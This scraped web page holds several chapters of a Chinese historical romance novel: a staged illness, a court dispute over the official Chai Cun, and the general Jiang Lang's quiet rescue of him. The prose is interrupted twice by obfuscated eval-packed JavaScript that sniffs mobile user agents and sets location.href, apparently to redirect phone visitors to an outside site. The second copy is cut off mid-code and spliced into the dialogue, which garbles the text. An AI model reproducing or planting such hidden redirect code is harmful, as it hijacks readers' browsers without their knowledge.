一个随从进入雅间,俯在张昌耳边说话,隐约听见说车马已备好。张昌摆手,那随从得令,恭敬退后。 张昌向江琅解释,“衙内还有要事,急需回去一趟,将军还请自便。” 他说罢便离开,带走一大拨侍卫,撤走了好些服侍的侍女。人多繁杂的雅间变得清净,只留下几个看守的人,零星分布在角落。 曲终人散,一出戏唱到了终章。 江琅举着筷子,却没再动一下。任月语索性放下筷子,呆滞坐着,像是泄了气。 两人静默坐了一阵。 江琅缓了缓,侧头看向任月语,用依旧平和的语调说道,“公主,我们回去吧。” 任月语本想回应江琅,可当看见江琅的面庞时,她愣在了原地,有一下针扎似的心惊。 他不知何时红了眼眶。 像一头孤立无援的、独自忍耐剧痛的野兽。 11. 灵泉 草堂内,房间里,江琅与程恒立于窗前,窗外的朦胧白光映照着他们的身影。 程恒向江琅汇报他所探得的情况,“张昌已连日出发,直上平京。” 江琅慨然,“他果然是坐不住了,一心想为那个人报仇,想要置我于死地。” 程恒担忧,“他看起来把握十足,这对我们而言是否过于被动?” 江琅摇头,“恰好相反,他手上定是没有多少筹码,才会在这一路上不断制造麻烦,试图构造我的把柄。他以语言激我,我以沉默激他,不过是双方的一场博弈罢。” 程恒询问,“既然他已有所行动,我们如今该怎样应对?” 江琅从腰间拿出一颗刻画蛇珠作为信物,交予程恒,“你去趟驿站,暗中探寻昭武九姓的踪迹,切记不可张扬。” 他向程恒靠近,贴耳细说所需探寻的情况细节。任月语在门外张望,胸口犹如石头堵着那般难受。他们在张昌那里受了气,她所想的出气方式是以牙还牙,把张昌摁在地上狠揍一顿。但见江琅这幅忍辱负重的模样,她愈发不甘心。 她转身往院子里走。 孟昭启正在院落门口,与守卫的一个千户发生争执。 那千户先来挑衅,用半是劝说半是嘲讽的语气问孟昭启,“你说你怎么跟了这么个空壳将军,四处受人冷眼,还要像个缩头乌龟一样躲着不敢反抗,就不感觉窝囊吗?” 孟昭启逼近一步,“你舌头不想要了?我不介意动手帮你割除。” 那千户并不退缩,“听不得实话?我说,你出门报名号,好意思报鹰扬府这三个字?” 孟昭启仰头,“我们鹰扬府堂堂正正,我不仅报,我还报得响亮。” 千户讥笑一声,“嘴硬有用?嘴硬哪有权利来得直接!大人,我看你也是勇毅之才,何苦委屈自己呢?还不如转投我们张大人,风风光光地制霸一方。” 孟昭启弯腰,直视千户,“我这个人,最大的特点,写在了我的脸上。你看清我脸上写着的两个字了吗?” 千户左右看看,“哪两个字?” 孟昭启有板有眼地念出口,“忠,心,耿,耿。” 千户疑惑,“这不四个字么?” 孟昭启一脚踹上千户小腹,将千户踹去几仗远,“滚你大爷的!” 千户重力摔在了院落外的小路上,恰在范洪明脚边。范洪明这一趟本是受张昌的吩咐,前来草堂检查情况。结果亲眼目睹这千户的狼狈之状,心生畏惧。张昌不在本地,范洪明没了后背支撑,哪敢轻举妄动,愁苦得只能在草堂外徘徊。 孟昭启愤恨地关上了院门,锁紧门栓。他嫌不够解气,搬来一架梯子靠着墙,向上踏两步,露出半个脑袋观察院外的情况。 任月语朝孟昭启走去。 孟昭启这木梯足够宽,能够容纳两个人,何况任月语本就娇小玲珑。任月语利落地爬了上去,学着孟昭启的模样,也露出了半个脑袋。 孟昭启碎碎念,“真是看不惯范洪明装腔作势的鬼样子,真想给他两榔头!” 任月语愤恨道,“我也想!” 孟昭启愣住了,倒有些惊讶。他之前不止一次提到过想收拾范洪明,无一例外都被江琅压了下来。他又去寻求任月语的帮助,任月语当时的态度很明确,讲究的是一切行动听江琅指挥准没错。可如今任月语却变了态度,看样子她也不想继续听江琅的话了。 孟昭启故意说道,“你不问问将军的意见?你不是觉得将军的决定都有道理吗?” “有屁的道理。”任月语愤懑不平,对孟昭启提议,“你不是想给范洪明一点苦头尝尝吗?正好我有法宝。” 她利落地从怀中摸出了一个物什,举到孟昭启眼前。 一个木质弹弓。 任月语因为自知技艺不佳,所以想让孟昭启来打头阵,“你上,你瞄得准些。” 孟昭启搓搓手,迫不及待地拿过了弹弓。他有这么些年征战沙场的经验,明白暗击的一个关键是不能暴露自身被敌人发现。他于是选择了一条折线道路,对准路边石碑击打,让石子经碑面反弹,再冲向范洪明。 他成功了。 范洪明摸着被敲打的脑袋,火冒三丈四处找寻凶手,最后以为是千户搞的鬼,对着千户拳打脚踢。 任月语和孟昭启躲在院墙内,强忍着,不敢笑得太大声。 任月语受了这次成功的鼓舞,心痒难耐,也想亲自动手收拾范洪明。孟昭启从旁出谋划策,为配合任月语的技艺,挑选了一条易于操作并收获颇丰的道路。 他指着一侧的槐树,“夫人,你照着枝繁叶茂的地方打,不用特意瞄准某一个目标,只要能把枝叶晃动起来就行。” 任月语学得认真,奋力拉扯弹弓,单眼瞄准最为繁茂之处,精准射击。 石子钻入密林之中,惊起栖息的群鸟,振翅飞舞。 成片的鸟儿从头顶飞过,扰声阵阵,全然坏了阵型。鸟群受惊,慌乱逃窜,身下不受控制地开始排泄。 于是有了粪便如雨的场景。 范洪明的眉心正遭殃。他用中指颤颤巍巍地抹一把,看见指尖上白中带黑灰颗粒的粪便,恶心得快要呕出来。他急忙用手帕擦去。可那粪便接二连三地袭来,后脑、耳朵、肩膀,总之要在全身上下留下它们的印记。 同行的人也遭殃,手脚并用,身躯扭曲,努力遮挡粪便攻击。偏偏遮挡的时候没有粪便落下,刚一挪开便立刻被粪便击打。那粪便仿佛动作敏捷的兔子,叫人捉不住影。 人群四散跑开。鸟群受到刺激,也跟随着四散乱飞,一追一逐,形成了人鸟不分离的状态,搞得愈发狼狈不堪。 任月语和孟昭启这下是当真忍不住了,弯下腰捂着肚子捶墙大笑。 任月语趁胜追击,又摸出了一颗小石子,装入弹弓,询问孟昭启,“前面另一棵槐树上有马蜂窝,我想打下来,朝哪儿瞄准才好?” 孟昭启兴致高昂,“这回距离远,力气得足够大才……”却是话说到一半,突然泄了气。 任月语胸有成竹,“放心,我力气大得很,那要瞄哪儿?” 孟昭启没有回应任月语。他拉扯任月语的衣袖,小心翼翼提醒道,“夫人……将军来了。” 任月语猛然回头,见江琅站在身后,正意味深长盯着他们。他们有一种做坏事被现场捉住的尴尬,悻悻然爬下了木梯,规规矩矩并排站着,垂着脑袋。 江琅责罚孟昭启,“去抄书。” 孟昭启无奈领罚,“是。” 孟昭启走了,任月语仍旧不敢抬头,光是盯着鞋尖,旋来旋去。 江琅叮嘱任月语,“下次别爬那么高,容易摔跤的。” 任月语小声嘀咕,“还不是为了给你出气。” 江琅低声道,“不用特意为此费心。” 任月语抬起头来,眉眼间尽是不甘心,“但我不想让他们这样欺负你!我不想你受委屈!” 江琅轻笑,“这算什么委屈。” 任月语提高了音量,“这算天大的委屈!堂堂征战沙场保卫家国的鹰扬将军,到头来,什么妖魔鬼怪都来踩一脚。”她说到后面声音又降了下来,“我不忍心。” 江琅略微蹲着,弯腰俯身,尽量平视任月语,“公主别担心,都是小事,忍一忍就过去了。” 任月语赌气扭头,“我忍不了。” 她盯着地上小石块,愤怒不平,不肯接受江琅的安慰。就这般静默了一时半会儿,两个人意料之外没有再说话。任月语好奇,暗地里偷瞄江琅,见江琅双眼没有焦点,也正失神。 任月语明知希望渺茫,仍旧尝试着怂恿江琅,“将军,你也是有血有肉的凡人之躯,受这么些委屈,难道就一点都不想反击?” 江琅坦诚回答,“想。” 任月语这下变得惊讶,随后带点些许惊喜。 江琅似乎在心中经历了一些斗争,思虑再三,最后终于对任月语开口。 “所以,公主,可不可以请你帮我一个忙?” *** 素雅的呼喊声音惊天地泣鬼神,“不好啦!公主呕血啦!” 孙一堂孙一正接力往院外跑,跑出了皇上驾崩的千军万马之势。他们朝把守衙役催促道,“快!快把你们范大人叫来!公主出大事了!” 范洪明彼时正在府内吃海参。听见侍卫的传话后,扔下碗筷,火急火燎地赶到了草堂。 草堂内是一片紧张焦急的景象。任月语卧病在床,脸色苍白,枕边放着呕出鲜血的手巾,刺眼夺目。云霁的药箱敞开,瓶瓶罐罐摆满桌面,理不清头绪。其余人围拢在房间之中,各个面露愁苦之色,惊慌失措。 素雅跪在任月语的榻边,泪流满面,紧紧握住任月语的双手,“公主,你可千万不能有事!临行之前,皇上千叮咛万嘱咐,让我们务必照顾好你,可如今这样让你生病受苦,我们岂不都犯了杀头之罪?” 范洪明听见“皇上”和“杀头之罪”两个词语,吓得额前渗出好些汗珠。 任月语强忍着痛楚,奄奄一息地回应素雅,“是我太不争气,有负圣恩,有负皇家对我的这些恩宠……我作为月照古国的公主,原本被派来与景朝和亲,以此缔结两国安宁和谐的关系,增进两国友谊。可现而拖着这幅残躯,或许不能顺利完成和亲任 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云霁见状,拿过一条干净的白巾,替任月语擦去嘴边鲜红,“公主,你这样说,我们怎能担待得起。怪我不好,医术不够精湛,才让你受这么多苦楚。” 素雅激烈插话道,“不!是我不好!是我没能照顾好公主!” 江琅低下了头,紧抿双唇。幸好一切开始之前,临时将孟昭启赶出了房间,不然三个女子的一出戏,连他都快要绷不住了,更何况孟昭启。 任月语沉浸在戏剧起伏中,“不是这样的……不是这样的……素雅,云霁,将军,我一直看在眼里,你们待我已经仁至义尽了,造成今天这样的局面,根本不是你们的错!” 素雅复述着话,看向云霁,“不是我们的错……那是谁的错呢?” 云霁复述着话,看向范洪明,“谁的错呢?” 范洪明稍显迟疑地指着自己,“我……我吗?” 他被吓得腿软,立即朝床榻跪下,寻求帮助,“公主……云医官,你是朝中最好的女医官,你说该怎么做?我照你说的做!” 云霁回礼,“范大人过奖了,不过我确实有一个法子。之前在鹰扬府,我为公主熬药,所用均为灵泉古井的井水,水中有一味必不可少的药性。且这药性极为独特,离井一盏茶的时间便会消失。所以为了给公主熬药,我们这一路必须住在灵泉古井旁。可如今却困在了这草堂里……我听闻晋西道内也有一口灵泉古井,可不知具体在何处。范大人对此可知情?” 云霁这一套胡话一气呵成,范洪明对此深信不疑。他在脑海中快速搜寻地理位置,“有的有的,灵泉坊内就有一口灵泉古井。” 云霁与任月语交换了一下眼神。 范洪明急急忙忙吩咐身旁的千户,“通知柴存,让他速速收拾出几间屋子,给将军公主备下!” *** 江琅把任月语抱上了车舆。为了照顾任月语,江琅留在了车内。 任月语入戏地闭眼躺着,装着柔弱。待到车舆离开草堂,在马路上行驶平稳,她试探性地睁开一只眼睛,检查状况,确认无误后,利落地坐了起来。 车内只有她和江琅两个人。 任月语迫不及待地找江琅确认表演情况,“怎么样,我刚才演得好吧?” 江琅抿嘴微笑,“好。” 任月语不满足,追着江琅问道,“是不是演得特别自然流畅、隐忍悲痛、感染全场?” 江琅回忆起方才任月语所谓“自然”、“隐忍”的表演现场,实在忍不住,低头笑了起来。 只轻轻的一下,温润明朗,隐约透露着许久未见的年少模样。 任月语看得着迷,盯着江琅的面容,不禁感慨,“对嘛,笑起来这么好看,就应该多笑笑,干嘛整天板着一张脸?” 她说得感性,说完后觉得好像感性过头了,似乎有些冒犯,随之而来的是一阵尴尬。 江琅也察觉了气氛的微妙,收敛笑容。他耐着多坐了一会儿,起身要走,“我去车外替你守着。” 任月语着急,捂着腹部找借口,“我肚子好像有点痛。” 江琅关切问道,“怎么了?” 任月语硬着头皮假装面不改色,“不知道,可能要你坐在旁边才会好一点吧。” 她不作不休,甚至壮着胆子,往旁边挪了一步,替江琅腾出一个位置。江琅听懂了任月语话里的意思。他顺从地坐了下来,与任月语形成了肩并肩的局面。 两人都没有再说话,眼神四处飘散,暗自局促。 任月语心跳很快,不停搓动着裙摆,脸颊微红。 刚才的勇气此刻已经消失不见了,剩下的唯有一场兵荒马乱的悸动。 12. 朝堂 他们到达灵泉坊,车舆停下。江琅先下车,再礼貌伸出手,“公主,我扶你下车。” 任月语没有动。她咬着下嘴唇,犹豫了一下,鼓起勇气说道,“我帮你这么大个忙,你能不能也答应我一件事?” 江琅问道,“何事?” 任月语眨着一双水灵的眼睛,“你能不能不要叫我公主了?听着好疏远。叫我小语就行。” 江琅顿了顿,开口转换了一种说法,“小语,我扶你下车。” 任月语舒一口气,窃喜地扶上江琅的手背。 他们走到了灵泉坊院门口。 负责接手管理的人是晋西道布政使,柴存。 范洪明与柴存之间办理了简单的交接手续。 范洪明急于丢掉这个烫手山芋,寥寥几句交代完后,转身就走。柴存目送范洪明离开,卑躬屈膝,直至范洪明消失在拐角。 身边管事听闻探子汇报,小声向柴存提醒,“范洪明并未走远,留有耳目。” 柴存于是背着手,昂着头,朝江琅一行人高声呵斥,“都给我听好了!范大人对你们恩惠,不代表你们就清白无辜!我可不如范大人那般仁慈,留职待勘之人,到我灵泉坊,就得守我灵泉坊的规矩!” 他不耐烦地挥手,命人把江琅一行带去了三进院。他保持紧绷的状态,在原地多等了一阵,待探子报来新情况,确认范洪明已走远,撩袍疾步往三进院走去。 他要去找江琅。 江琅也正等着他,等了这么些时日。 待到柴存踏进三进院,江琅点头寒暄,“柴大人,终于见面了。” 柴存是江琅顺着这条线索,最终想要见到的人。 柴存迎到江琅身前,跪地行礼,“将军,刚才多有冒犯,还望将军恕罪。” 江琅忙搀扶起柴存,“柴大人不必如此多礼。” 柴存勉力站起来,有意压低了声音,“将军此次前来,是准备动手了吗?” 江琅颔首致意,“接下来,就要劳烦柴大人多费心了。” “哪有劳烦一说,将军吩咐便是。”柴存再向江琅作揖,诚恳真切,“毕竟,柴某这条命,是将军给的。” *** 柴存这人,为官古怪,不涉党争,不求升官发财,心中唯有推行新策的执念。 他本是吴苏道的布政使,在职期间,他执意要完成的任务,是退田。 吴苏道情况特殊,贫富差距大,富人对穷人的压榨日趋激烈。 富人会向穷人放高利贷,条件是以穷人的田地作为抵押。若到期不能还债,则穷人的田地就归富人所有。 穷人多数情况是无法顺利还债的,田地自然就顺理成章划拨到了富人的名下。 于是,穷人越穷,富人越富。 其中最为著名的富人,是前太子妃的父亲,王氏。据传,王氏一族人丁多达两千人,田地多达四十万亩,极为壮观。* 又因其背后有太子撑腰,历任布政使要么选择沉默不提,要么选择同流合污,终究拿他没办法。 唯有柴存,为了推行退田新策,凭借年轻气盛的劲头,敢于拿出勇气直面挑战王氏一族的权威,动摇他们的利益。 当然,光有勇气,肯定会输得一塌糊涂。 柴存经历了数不清的难堪,五次抄家,三次下狱,两次免职,局势被动得连王府三岁小儿也能欺辱他几句,“柴大人又被抄家啦!抄出十块铜钱!” 柴存过得没个官样,更没个人样。 他万念俱灰,在破庙里买醉,肆无忌惮口出狂言,“国将亡矣!” 可就在他对人生绝望之时,三皇子左琮霖及时出现,拯救他于危难之中。 三皇子向来喜欢在暗中行事。他助柴存重获官职,替柴存抵抗来自太子一方的压力,让柴存得以顺利推动退田新策。 不久之后,退田新策大获成功,王氏一族也因此倒台。 柴存起初以为,这是因果报应,是王氏一族作恶多端带来的必然结果。可在看到王氏一族的罪状之后,他惊讶地发现这结果超乎想象,除了放高利贷与抢占田地之外,还有买官卖官、勾结倭寇、为太子私设金库、为太子培养叛军,看得柴存眼花缭乱。更离谱的是,所有罪状的检举人签名处,竟全都是他的名字。 他根本就不知道这些事! 他才终于意识到,他似乎成为了三皇子对付太子的武器,同时也是背锅侠。 他想去找三皇子问个明白,到头来得到的只有管事的一句话,“殿下助你事业辉煌,你可不能当白眼狼!” 他这下是切切实实地确认了,他本无心涉及党争,却已在无意之中成为了党争的棋子。 他调整心态,自我安慰,“没事,争就争吧,起码我退田新策成功实施了,也算满足了愿望。” 无奈世事难料,他在随后的回头检查中,查出退田贫民的名册被人做了手脚,大部分田地被划入了三皇子的亲信赵氏名下,让赵氏成为了王氏第二。 从太子的口袋掏出来,又进入了三皇子的口袋,那他新策到底策了个什么? 他勃然大怒,好家伙,原来这老大和老三都不是什么好东西! 他连夜收拾行囊,准备上平京讨一个说法,要一个公平正义。可哪能想到,他还没到平京地界,城内就已发生了大震荡。 癸卯事变,三子夺嫡,六皇子意外胜出,太子与三皇子皆命送当场。 局势突变。 柴存郁闷不已,他还没开口讨说法,三皇子人却没了。 柴存更郁闷的是,他压根没参与所谓三子夺嫡,却因退田一事证据确凿,当即被判定为三皇子同党,压入大牢。 柴存仰天,轻蔑一笑。 呵。 人生可真他娘的曲折无常。 *** 对于柴存的处理,小皇帝左琮阳征询群臣意见,群臣各执一词。 都御史张达认为,对柴存理应一视同仁,按律处置,“其他余党可全已伏法,若是徒留柴存一人,如何说得过去?” 内阁首辅梅季远反驳,“对余党的处置,并非只有问斩这一法子,张大人何苦揪着柴存的一条小命不放呢?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15195699|165647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张达冷笑,“梅大人如此袒护柴存,莫非和柴存有不为人知的私交?抑或,是与死去的三皇子左琮霖有来往?” 梅季远也冷笑,“不愧是张大人,空口判案,果真是你的拿手好戏。你是非得给人安一个罪名才肯舒坦。” 小皇帝左右听得脑仁疼,制止道,“好了,大人们,就事论事,就人论人。” 梅季远进谏,“皇上,柴存任吴苏道布政使时,编写十三田律,可谓字字砸中要点。若真能顺利推行,定会厘清吴苏道乃至全国各地杂乱无章的局面。臣以为,柴存乃不可多得的人才,如此轻率斩杀,实属国之损失。” 张达不等小皇帝发话,抢先反驳梅季远的观点,“区区田律而已,内阁这么些大学士不能写,就他柴存能写?梅大人,你这可是看轻自身呐。” 梅季远面向张达,“张大人若是不清楚,那我就来告诉张大人。我们内阁讲究的不是盲目比拼,比谁出尽风头,获得虚无缥缈的胜利。我们真正追求的是尊重人才,宽厚包容,发挥人才潜力,做到真正为朝效力!” 张达斥责,“你管一个谋逆囚犯叫作人才?他可是左琮霖余党,犯了杀头之罪!照你这样包容,那天下人只要会写田律,就算杀人放火也都可以统统不追究了是吗?” 梅季远提了音量,“我何时说过不追究了?” 张达接过了梅季远的话头,“好,既然你也认同追究,那就按照大景律,该斩即斩!” 梅季远上前一步,“张大人,你的世界可真是非黑即白!一判案就斩首,这些年你手中斩过的人,不计其数!难不成真要杀无道以就有道?”* 张达仰头,“无道之人本就不该存在于世上!杀无道之人,保朝中正直,有何不妥!” 梅季远气焰难消,“你干脆杀光天下人算了!” 张达气焰更甚,“总比你包庇囚犯滋养腐朽来得强!” 他们的声音一个胜过一个。虽两人已上了年纪,但丹田气足,洪亮震撼。小皇帝只感觉左耳朵刚被震完,右耳朵又开始震,交替轮换,到最后演变成两只耳朵一起震,震得他头昏脑胀。 他实在是心烦意乱! 他即位不久,朝堂不稳,本就在摸爬滚打中艰难前行。他需要可以辅助他的人,可以为他出谋划策的人。他原以为眼前的这两位百官之首,一个内阁首辅,一个监察院都御史,可以成为他的左膀右臂,助他治理朝堂。哪能想这两人彼此不对付,天天掐架,一次比一次掐得凶,害得他政事做不成,额外还得从中调解,费时费力。 他当真是苦闷至极! 他怒斥,“够了!” 两位老先生听闻帝怒,暂且收敛,同百官一道面向圣上,听候发落。 小皇帝缓口气,思索片刻,开口叫了江琅,“子枢,依你所见,应当如何?” 江琅谦卑应答,“臣乃一介武夫,胸中点墨甚少,不懂文事之道,无法为圣上分忧,还望圣上恕罪。” 小皇帝这下彻底怒了,愤而掀掉案几上的奏章,冲江琅斥责。 “你懂!你什么都懂!你就是不肯说!” 13. 中庸 江琅原本是小皇帝最后的一个依靠。 圣上暴怒,百官惊恐,急忙下跪。 张达跪在队伍最前列,他向后睨江琅的身影,进谏道,“说起景律严明,所谓鹰扬将军到底也是江府族人,江琛独子。江琛贪污入罪,其子本应株连才是。” 梅季远侧头看向张达,“江琛案乃是前朝之事,张大人如今再提,是何居心?” 张达嗟叹,“不过是感慨圣恩浩荡,留江氏独子一条性命已是额外开恩。至于让其参与朝堂议论,实属坏了规矩。” 梅季远笑道,“原来张大人也认为,江琅作为鹰扬侯,不过区区闲曹人员而已,在朝堂中谈论政事不妥当。” 张达警惕地看向梅季远,心存戒备。 梅季远向小皇帝行礼,“既然如此,臣恳请圣上恢复江琅都督实职,以便江琅能名正言顺参与朝政,为圣上效力。” 张达气急攻心,“梅季远!你胆敢让罪臣之子担当重任,你眼里还有没有王法!” 梅季远辩驳,“犯罪的是他爹,跟他有什么关系?他守住邬州,斩杀逆贼,收复归雁城,这么些实绩摆在眼前,怎么,有功不该赏?” 队列中的百官,因涉及到江琅问题,各有所思,陆陆续续加入到争论之中。 “株连九族,唯独留下一个,确实不合常理。” “这是先帝的特赦,有何办法?” “怪了,将军那么些功绩,你们看不见?” “大不了功过相抵嘛。” “这能一样?没有将军平定边疆,你们哪有机会在这儿说风凉话。” “过去的事,日日提!如今他那怂样,还能干什么?” “没有过去,哪有现在!” 朝堂内顿时吵作一团,喧嚣无比。小皇帝先前还只是左右耳朵震,现在是脑袋前后左右四周环绕地震。他感觉朝堂炸了,他想朝堂还不如炸了算了,起码能够落得耳根清静。 他怒斥,“全都闭嘴!” 群臣住了口,恢复为方才安静的模样。 小皇帝强忍怒气,保持仪态。待冠上珠串在眼前停止晃悠,他起身,摆手散朝,“今天先这样,此事日后再议。” *** 退朝时,梅季远路过江琅身边,悄声道,“子枢,跟我来,我有话跟你说。” 梅季远走在前,江琅走在后,两人混杂在退朝人群里,佯装陌路。直至走出宫城,到达一处偏僻小径,两人才终于汇合,单独相处。 梅季远在朝中憋了一肚子的气,迫不及待地发泄道,“我越上朝就越能体会到兄长当初的悲愤了,癸卯事变那一夜,真应该强行按照兄长说的办,让你来当这个皇帝。” 江琅急忙劝阻,“老师慎言。” 梅季远慎不了言,喋喋不休,“你和琮阳都是我的学生,我比谁都了解你们。论文你们还可一搏,论武他哪里比得过你?再论谋略胆识,为人处世,你哪处不比他强?就因为你没有生在帝王家?” 江琅从旁劝慰,“子枢难承老师谬爱,然则……琮阳他并非如外人所说那般平庸,他在朝事上有诸多独到见解,且大部分与老师的想法想通。” 梅季远更来气,“那他就付诸行动啊!光是有想法却不落地,有什么用?” 江琅思忖,“为了周全,保朝堂稳定,他要考虑的方面太多了。” 梅季远轻视讥笑,“所以才说他缺少帝王的决绝。每次议事,光是我跟张达在那儿吵,从上朝吵到退朝,也不见他拿出个帝王的权威来做出了解。优柔寡断,磨磨唧唧,能成什么事!” 江琅却是能够理解左琮阳的顾虑,朝中最为德高望重的两位先生一直争执不休,左琮阳资历尚浅,两边都是他得罪不起也不愿得罪的人,哪能这么容易就能做出决断。江琅轻叹,“对于琮阳而言,制衡太难。” 梅季远咂舌,“我也清楚,他每一步都有可能变成险棋,不能光听我的,也不能光听张达的。” 梅季远上下打量江琅,又道,“不过他倒是肯听你的。” 江琅颔首作揖,“哪敢。” 梅季远无奈道,“我知道,就算他肯听你的,你也不肯表态。自打他登极以来,你在武事上暗自分散了兵权,文事上又一直装傻充愣,装扮成一个闲曹中庸之人,不外乎是想收敛锋芒,免得哪天功高盖主,走上你父亲那样惨烈的结局。所以你父亲偷偷告诫你了吧?叫你一定明哲保身。” 江琅解释,“为保朝堂安稳,这已是最妥当的办法。” 梅季远不耐摆手,他不认同江氏父子的做法,但也别无他措,“行了,我找你来是想跟你说,你也看得出来,你实在是特殊,圣上每提起你一次,朝堂就要掀起腥风血雨口舌之争,你和朝堂简直水土不服!所以以后你要是没什么事,就别上朝了,若是有人问起,我替你顶着。” 江琅行礼,“多谢老师关心。” 梅季远点头算作应答。他见时候不早,转身要走,走出没两步,却又被江琅追上。 “老师,学生还有一事相求。” 梅季远停下脚步,“何事?” 江琅低眼垂眉,“先帝在位时,琮阳并不是他看中的皇子,未以储君的标准来加以培养。琮阳自身儒雅温和,喜好诗文古籍,能登上天子之位,实属在他意料之外,他需要时间适应。可如今,他孤立无援,身后无人……老师,我身份多有不便之处,对琮阳的帮助有限,所以斗胆请您在朝堂内外,对琮阳再多照顾一些,让他不至于举步维艰。” 梅季远轻拍江琅的肩膀,“放心,琮阳也是我的学生,我定会照顾他。” 清风拂来,撩动两人的袍摆。巷口远处偶有路人走过,传来些许谈话声音。梅季远收回手,同江琅告别离去,留下江琅独自一人。 日头高悬,将影子浓缩为一团,紧密围绕在江琅脚边。江琅原本低着头,阳光在脸上投射阴影,更凸显得棱角分明。倏尔他终于抬起头来,脸庞浸润在光线中,显露出一丝坦然。 他做出了决定。 *** 鹰扬府内,云霁进入房间时,江琅正在专心看医书,一边提笔在纸上做记录。 她有意瞄了眼纸上的字,“将军可是感染了风寒?” 江琅翻了一页书,“不止风寒。” 云霁走近了一些,“我来为将军把脉。” 江琅放下了笔,“不用,你只需替我跑一趟御药房,向太医讨几味药,用于治疗发热、咳嗽、流涕、无力、内虚等症状。” 云霁分析上述症状,“不是风寒,难道是斑丘疹?” 江琅考量着斑丘疹的危害,“斑丘疹也行,正好不宜出户见人。” 云霁于是明白了,“将军原来是想放话出去,借一个合适的理由,不接客,不进宫,不上朝。” 江琅叹道,“还是得在鹰扬府内,才能过得自在舒适。” 他拿出了案几旁准备好的入宫信件,交予云霁。云霁领命,放好了通行信件,出发去往宫中。 刚一跨出鹰扬府时,云霁碰到了孟昭启。 孟昭启穿了官服,装扮得仪表堂堂。 他本骑着马,也往宫中方向走。见到云霁,他利索地下了马,钻到了车舆内,同云霁一道行了一段顺风路。 云霁观察孟昭启的行头,“可是要进宫面见皇上?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15195700|165647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 孟昭启先是翻出了行军册,“这半年鹰扬军的练兵报告,照例得呈给皇上过目。” 接着,他又从怀里掏出了鹰扬军的兵符,“这个是将军安排的不能声张的秘密任务,上交鹰扬军兵符,并请皇上降罪。” 云霁拿过兵符,饶有兴致地研究,“交兵符等于交兵权,交兵权并请罪……这样算来,将军请的可是死罪。” 孟昭启凑上来,“够骇人听闻的吧?” 他又耸耸肩,“不过,连我都看得出来皇上对将军的偏心态度,皇上就算判天下人死罪,也绝不可能判将军死罪。” 云霁顺口问一句,“那将军为何还要请?” 孟昭启意料之中地摇头,“不知道。” 他想起了新奇之处,继续道,“还有更怪异的事情。将军平日里为人一向低调谦逊,对所谓战绩几乎不提,今日却一改往常,叫我请罪之前,一定先细数一遍丰功伟绩。” 孟昭启佯装已到请罪现场,开始向云霁表演他代江琅的请罪说辞,“圣上英明,虽然末将效忠两朝,率领鹰扬军镇压西番、击退倭寇、守邬州、夺鄯州、收复归雁城、平定边疆、斩杀逆贼、保天下太平、维百姓安宁,然则……事实无从改变,臣为罪人之子,本就该伏法。故而,为显景律严明,臣恳请皇上降臣死罪!” 他表演得着实抑扬顿挫惟妙惟肖,配上夸张的动作表情,逗得云霁嬉笑不止。 云霁替江琅埋怨,“将军要是知道你这样演他,定把你这一整年的俸禄都给罚光。” 孟昭启得意神气,“这些可都是他让我说的,这牛可是他让我吹的。” 云霁将兵符还给孟昭启,在一刻间忽然想明白了江琅的用意,“原来将军是把自己比作了柴存。” 孟昭启反应了一下,“柴存?写《十三田律》的那个柴存?” “嗯。”云霁推测,“将军和柴存的境遇极其相似,都有功,但同时也都有罪,就看在功与过之间要如何抉择。又因景律严明,一视同仁,所以若是柴存该被处死,那将军也同样该被处死。” 孟昭启逐渐厘清了其中暗含的关系,“但是皇上是绝不可能处死将军的,照此看来,皇上也不应该处死柴存。” 云霁心里有了答案,“对,这才是将军真正想要对皇上说的话。” “保柴存一命。” *** 小皇帝让柴存复职,出任晋西道布政使,协助管理田地、赋税等事务。 但因柴存确乎逆贼余党,为降其罪,对其实施软禁之策,终身囚禁于灵泉坊中,若无特令,不得跨出院门一步,否则当即立斩。 对柴存的任用与监禁,由晋西道监察御史张昌全权负责。 柴存启程去往晋西道那天,降雨,天暗,氤氲朦胧。 他坐在车舆内,随车颠簸,摇晃通行。穿过平京城,快要到达城门时,他掀开了帘幕,探向窗外。 江琅正独自撑着伞,立于街边雨中。 他向他颔首点头,他予以回礼。两人之间的礼节微小隐秘,短暂一瞬。 只听见雨水打落在油纸伞上的沉闷之声,溅起盛开的水花。 柴存之前其实从未见过江琅,光是听见贪狼将军的名号响彻天下,是个骁勇善战之人。他在画本中看见江琅画像,鲜衣怒马,眉宇俊朗,仿佛是只会存在于画像中的人物。 如今见到真人,柴存恍惚。或许是烟雨迷朦水帘重重,柴存所见的江琅更加多影复杂。 柴存心里清楚。 江琅是在癸卯事变那日,快刀斩杀太子与三皇子的狠人。 也是群臣诤谏的今日,暗中保下他性命的恩人。 14. 秋千 江琅与柴存漫步在庭院里。游廊绵延,夜色稀薄,灯火点缀其间。 江琅问道,“柴大人在晋西道这些年,可还安好?” 柴存踏着廊柱的影子,“劳将军费心,我在这里,除了不能出门之外,其余都好。” 柴存从暗中走到了明处,浸润在浅淡月光里,忽而笑了。 “人的想法真是瞬息万变。当初在天牢里,我慷慨坦然,想着左右不过一死,赶紧被杀头,也能落个清净。” “可越是临近三司会审,就越是止不住地害怕,怕当真听到了斩首这一结果,吓得四肢颤抖。” “幸而得将军出手相救,保了一命,简直有一种死而复生的感觉。” 